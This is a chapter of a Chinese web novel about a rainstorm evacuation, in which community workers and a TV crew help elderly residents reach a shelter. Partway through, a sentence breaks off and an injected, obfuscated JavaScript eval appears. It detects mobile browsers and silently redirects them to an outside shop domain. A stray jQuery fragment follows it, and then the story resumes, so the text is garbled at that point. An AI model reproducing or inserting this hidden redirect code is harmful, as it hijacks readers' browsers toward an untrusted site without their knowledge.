七月末，临江区连下两天暴雨。
气象台从第三天凌晨一点开始滚动发布预警，预警等级一路上调，到天亮前已经挂了红色。
节目组原定那天拍的是“温暖便民服务日”，连旁白稿都写好了：“在城市细密的肌理之中，总有人守着平凡的光。”
秦制片看完稿，当晚给旁白老师发消息：“明天试拍一下，但这个稿子我可能要改。”
旁白老师秒回：“哪里改？”
秦制片回了一句：“等拍完再说。”
稿子最后没用上。
凌晨四点，旁白还没来得及念，临江花园地下车库先淹了。
凌晨四点十七分，王主任在工作群里连发九条语音。
九条语音，逻辑清清楚楚：一号到三号楼的独居老人优先转移，负责人是谁；四号楼的无障碍通道谁去开；活动室改安置点谁去支桌子；物业、民警、社区医生的联络人谁对接。她说话语速不快，可每一句话出来，分工就分完了。
临江街道办值班室那张老沙发上，昨晚睡的是她自己。
她做基层做了二十三年，雨季都是直接睡办公室。
凌晨三点她就醒了，摸黑把联络表翻了一遍。
名单上有二十一个名字。她一个一个画圈，画到第十四个的时候，笔尖顿住了。
那个名字叫“老陈头”。三年前过世的。
这是她压在抽屉里的旧联络表，新表早换过两轮，只有这张还留着他的名字。
她盯着那三个字看了几秒，把笔放下，又拿起来，在名字上轻轻划了一道。
划完她坐了一会儿，才接着画下一个。
雨声太大，她没开灯，怕惊着隔壁值班室打盹的小年轻。
小林被电话轰起来，套上衣服往街道跑，袜子穿反了自己也没发现。
节目组摄影师昨晚还在酒店剪片子，今天就被秦制片从床上拎起来：“别睡了，拿机器，真有事。”
摄影师含糊地应了一声，伸手去摸床头的眼镜，眼镜没摸到，先摸到秦制片扔过来的一件冲锋衣。
“穿上。”秦制片语速极快，“临江花园地库淹了，老楼断电，我们现在就过去。”
“不是说拍便民服务吗？”
“便民服务先放一边。”她说，“现在拍现场。”
天刚蒙蒙亮，临江街道门口已经站满了人。
车库积水、老楼断电、两个单元电梯停运、活动室临时改安置点，物业和社区、民警和志愿者，全都在跑。雨没有一点要停的意思，砸在遮雨棚上密密一片，连扩音喇叭的尾音都被压了下去。
遮雨棚下已经排起了一条很长的队伍。
抱孩子的年轻妈妈、背着老人的子女、拎着药袋的中年人、挽着老伴胳膊的爷爷——都被这场雨赶到了临江街道办的大门口。
没人吵闹。
没人骂街。
他们只是站在雨里，等有人出来告诉他们，下一步该往哪儿走。
节目组原本担心这种情况不适合拍，秦制片只看了一眼，就说：“开机。”
镜头里，谢临舟穿着雨衣，裤腿半湿，正蹲在地上帮一位坐轮椅的老人重新固定脚踏。
老人怕得不行，嘴里一直念叨：“我不添麻烦，我自己慢慢来……”
“您现在最不需要做的，就是自己慢慢来。”谢临舟把雨披往她腿上一搭，动作很稳，“抓稳扶手，别看水。”
老人听话地低下头，盯着自己的手。手背青筋凸起，被雨打湿了一点。
旁边小林拎着扩音喇叭，声音都喊劈了：“一号楼和二号楼老人优先！别挤！一个个来！”
“你喊慢点。”王主任从旁边路过，塞给他一瓶水，“嗓子废了我还得去找医生。”
“主任我没事！”
“你有事。”王主任扔完水就走了，“少说两句，多做一点。”
陈默不知什么时候也混进了志愿者队伍，顶着红袖章扛矿泉水，浑身湿透，还在嘴硬：“我不是编外，我就是顺路。”
周敬从楼道里冲出来：“小谢！三单元有个老太太药落楼上了，子女联系不上！”
“几楼？”
“七楼，没电梯。”
谢临舟转身就走：“钥匙呢？”
“物业拿着，马上到！”
摄影师扛着机器一路追，追得气喘吁吁，镜头抖得不像综艺，倒像纪录片。楼道里黑得看不清脚下，摄影师差点一脚踩空，谢临舟回头伸手扶了他一把：“跟紧点。”
“知道了谢老师。”
“不是谢老师。”他淡淡道，“今天你只用拍，不用叫人。”
摄影师愣了一下，没再说话。
他做了十几年娱乐节目，碰见的明星恨不得镜头里每句话都带“哥哥”“姐姐”“老师”。他起初以为这是架子大。
爬到五楼，他才明白——现在这地方，不需要“谢老师”。
七楼老人是个慢性病患者，药断不了。物业开门时，她一个人坐在客厅，窗外雨砸得玻璃啪啪响，人却安安静静，像是早习惯了这种不想麻烦别人的老法子。
屋子里收拾得干干净净。一张单人床，一张方桌，桌上摆着一个旧的相框——里面是一张黑白照，一个中年男人穿着中山装，看起来是很多年前的事了。
墙上挂着日历，每天都被她用红笔打了勾。
谢临舟扫了一眼那本日历，没说什么。
“药在柜子第二层……”她看见有人进来，还下意识要站起来。
“坐着。”谢临舟已经把药盒拿到了，“今天先跟我们下楼，安置点有医生值守。”
老人怔了怔：“会不会给你们添麻烦啊？”
“会。”他说。
老人一僵。
“所以您少说两句，省点力气。”谢临舟把她的雨衣拉链拉好，“麻烦都已经添了，再客气也来不及。”
老人：“……”
节目组摄像在后面憋笑，没敢出声。
这人说话是真不温柔。
可手上的动作，比谁都稳。
谢临舟蹲下来，把老人常用的拖鞋从床底下翻出来，给她套上。套完才站起来，说：“我背您下楼。”
老人一听就急了：“这怎么行！我自己——”
“七楼，天黑，楼道滑。”他截住她的话，“您摔一下，我们所有人都得折腾一晚上。”
老人嘴唇动了动，最终没再坚持。
背下楼的时候，老人伏在他背上，手里紧紧攥着那个药盒。她声音很轻，几乎被雨声盖住：“小伙子，你这工作……不好干。”
“还行。”
“不容易。”
“您少摔一次，就容易一点。”他说。
老人没再说话。摄像机默默跟在后面，画面里只有两道影子在幽暗的楼道里慢慢往下挪。
走到四楼转角，老人忽然开口。
“小伙子。”
“嗯？”
“我那老伴儿——”她顿了顿，“十二年前走的。他走之前跟我说，‘你一个人别给人添麻烦’。”
“我听他的，听了十二年。”
“今天是我头一回，给别人添麻烦。”
谢临舟脚下没停。
楼道里很安静，只有他稳稳的脚步声，踩一阶，稳一阶。
他原本想说点什么。
嘴唇动了一下，没出声。
走到三楼，他把老人往上托了托，背得更稳了一点。
他一句话也没说。
老人没再说话。
背在他背上的那只手，不自觉地收紧了。
摄像师跟在后面，没敢喘大气。镜头里两道影子，一阶一阶往下挪。
他干了十几年摄影，第一次觉得镜头太轻。
整个上午，临江街道像是被雨拧紧了的发条，所有人都在跑。
谢临舟在里面没停过手。
他没有任何多余动作。谁递过来一份名单，他看两眼就分完；楼道里哪个角落堆了杂物，他抬眼喊一声，三分钟后那堆东西就被搬走。
上午九点左右，一位中年妇女冲进临江街道办，脸上全是雨水，眼睛红得像哭过一场。
她手里抱着一个文件袋，文件袋湿透了。
“我家孩子的疫苗本——”她的声音都在抖，“昨晚放在楼下柜子里，今早整个柜子都泡水了。他下周还要打加强针——”
大厅里嘈杂的人都停了一下。
王主任正在电话里协调物资，头都没抬，冲她那个方向挥了挥手：“小谢，你先处理。”
谢临舟放下手里的表格，接过那个湿透的文件袋。
他没急着打开。先让她坐下来擦脸，递过一张纸巾，又从抽屉里抽了两张干净的A4纸，铺
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17509965|202955||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
在桌面上，才慢慢把文件袋拆开。
疫苗本已经泡成了一团，页码糊在一起。
中年妇女紧张地盯着：“是不是不能用了？”
“能用。”他说，“但不能这样用。”
他从抽屉里拿出一只小塑封袋，把疫苗本小心地取出来。“您先别翻页，纸一翻就烂。我把它给您塑封好，下周去医院，让医院那边调阅电子档，纸质这份您留着当备份。”
“……可以吗？”
“可以。电子档现在都联网，真有问题，我这边帮您对接区里疾控，补一份。”
中年妇女说不出话来，只反复说：“太——太谢谢你了。”
“不用客气。”他把塑封袋收好，“下周二之前，您记得带孩子去打针。错过了再补手续，更麻烦。”
“哎，哎，我记着！”
她接过塑封袋，连连点头，把袋子贴在胸口压了压，才肯放进包里。
小林站在旁边，忽然发现这一上午，谢临舟接住的几乎全是这种事。
不大，可谁撞上谁急。
他总是先说一句：“能用。”
再把后面的办法，一条一条讲清楚。
活动室里已经收拢了四五十号人。
志愿者在门口登记床位，一张折叠桌支起来就是前台。社区医生蹲在靠窗的位置给一个老太太量血压，袖带放气的声音很轻。有人在找手机充电的地方，有人借电话联系家属。刘阿姨守着一台热水壶，一杯一杯续。
谁都没提今天是什么日子。只有外面的雨还在下。
中午十二点，暴雨终于缓了些。
节目组摄影师瘫在活动室门口，望着外头一地积水，声音发飘：“秦制片，我们不是在拍轻综艺吗？”
秦制片也坐在塑料椅上，鞋全湿了，闻言只笑了一下。
“现在看，不是。”
“那我们在拍什么？”
她望向不远处正低头核对物资清单的谢临舟，轻声道：
“拍平时没人拍的那部分。”
活动室的应急灯亮着，一点点橘黄。安置点里的老人有的靠着墙睡，有的还在打电话找家人，陈默还在搬箱子。冯奶奶不在受影响的片区，这次没来；刘阿姨倒是早来了，袖子一挽，谁喊她都应。
谢临舟把名单签完，放下笔，站起来时肩膀明显僵了一下。
小林跑过去：“谢老师，你歇会儿，喝点水——”
“先别。”谢临舟看了眼外面的天，“雨小了，一会儿还得回头看一圈。”
“看什么？”
“看谁没来安置点。”他说，“名单上有几个独居的，今早没回我电话。”
秦制片在旁边听见了，低头跟摄影师说：
“把这段也录进去。”
摄影师抹了把脸，举起机器：“……秦姐，我不是埋怨，就是想问——这期能按综艺播吗？”
秦制片看着谢临舟披上雨衣重新走进雨里的背影，半晌，才说：
“能。但不是按我们一开始那样播。”
“那按什么播？”
“按真的播。”她说。
摄影师沉默了一会儿，又问了一句——
“那旁白稿呢？”
秦制片没马上回答。
她看着门外那道已经走远的背影，又看了一眼手上刚刚翻拍下来的镜头回放。
那里面，谢临舟蹲在老人面前，说：“别看水。”
她合上笔记本，只在最上面一页记了一句：
“旁白先不写。”
“这期先听现场。”
摄影师点了点头，没再追问。
门外，雨还在下，一盏路灯亮着。
谢临舟在那盏灯下站了一秒，校了一下雨衣帽檐，然后抬脚，就又一次走进了那片灰蒙蒙的水雾里。
名单上还有三个名字他今天没联系上。
他得挨家去看一眼。
挨家看一眼，他才放心。
王主任站在活动室门口，看他那件旧雨衣的背影消失在雨幕里。
她转身回屋，一脚踢开一只挡在门口的鞋，低声骂了一句：“这帮人拖鞋怎么摆的。”
摄影师没忍住笑了一下。
后来王主任才知道，那天名单上剩下的三个名字，谢临舟一直看到夜里。
第二天一早，他又从第一个名字打起。